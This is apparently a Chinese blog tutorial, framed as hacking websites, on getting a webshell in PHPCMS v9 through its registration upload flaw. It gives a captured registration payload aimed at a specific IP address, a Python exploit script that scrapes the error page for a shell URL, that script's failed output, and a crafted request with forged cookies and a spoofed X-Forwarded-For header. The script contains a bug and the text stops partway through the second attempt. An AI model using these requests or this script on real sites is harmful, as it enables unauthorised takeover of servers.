web安全 爆破cms

通常我们在进行cms爆破(ps:日站)的时候,通常会采取exp任意文件上传的方法,下面以phpcms为例，讲解一下爆破原理

应用场景出口: phpcmsv9

1.根据报文构造payload

payload 可以理解为有效载重，比如有一位客户需要支付一笔费用委托货车司机运送一车石油，石油本身的重量、车子的重量、司机的重量等等，这些都属于载重(load)。但是对于该客户来说，他关心的只有石油的重量，所以石油的重量是有效载重(pay-load，也就是付费的重量)。而在http报文中代表的http请求每次发送报文时。所携带的参数负载

在home页面我们未发现可以提交文件的入口，在注册页面,尝试对post请求进行截包，获取payload
target url : http://120.24.86.145:8001/index.php?m=member&c=index&a=register&siteid=1
payload : siteid=1&modelid=10&username=complone2&password=knxy0616&pwdconfirm=knxy0616&email=32%40qq.com&nickname=complone1&info%5Bbirthday%5D=2017-08-19&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

利用脚本获取webshell
test.py

import requests
from random import Random

chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'

def doc(url):
    u = url+'/index.php?m=member&c=index&a=register&siteid=1'
    data = {
            'siteid': '1',
            'modelid': '10',
            'username': 'complone',
            'password': 'knxy0616',
            'pwdconfirm': 'knxy0616',
            'email': '[email protected]',
            'nickname': 'complone1',
            'info[birthday]': '',
            'dosubmit': '%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC'
                        '%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C'
        }
    # rep = requests.post(u, data=data)
    try:
        rand_name = chars[Random().randint(0, len(chars) - 1)]
        data["username"] = "akkuman_%s" % rand_name
        data["email"] = "akkuman_%[email protected]" % rand_name

        htmlContent = requests.post(url, data=data)

        successUrl = ""
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        if successUrl == "":
            print("[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")

    except:
        print("Request Error")

if __name__ == '__main__':
    doc("http://120.24.86.145:8001")

Result:payload失败,看来注册页面拿不到webshell,尝试exp脚本获取

D:\python27\python.exe F:/pythonProject/TestRun/Test.py
[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.

2.exp脚本获取
根据phpcms漏洞分析,指定目标URL为/index.php?m=wap&c=index&a=init&siteid=1,为了避免访问时无cookies无法访问页面

GET /index.php?m=wap&c=index&a=init&siteid=1 HTTP/1.1
Host: 120.24.86.145:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=15jlma413vq73fkqjagqtfe35up7u3he; kMFcZ_siteid=bbb2G1l2vFnIRuRp1s5yN1xhhQ11UTBVj4L7UMj_
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 54

userid_flash==bbb2G1l2vFnIRuRp1s5yN1xhhQ11UTBVj4L7UMj_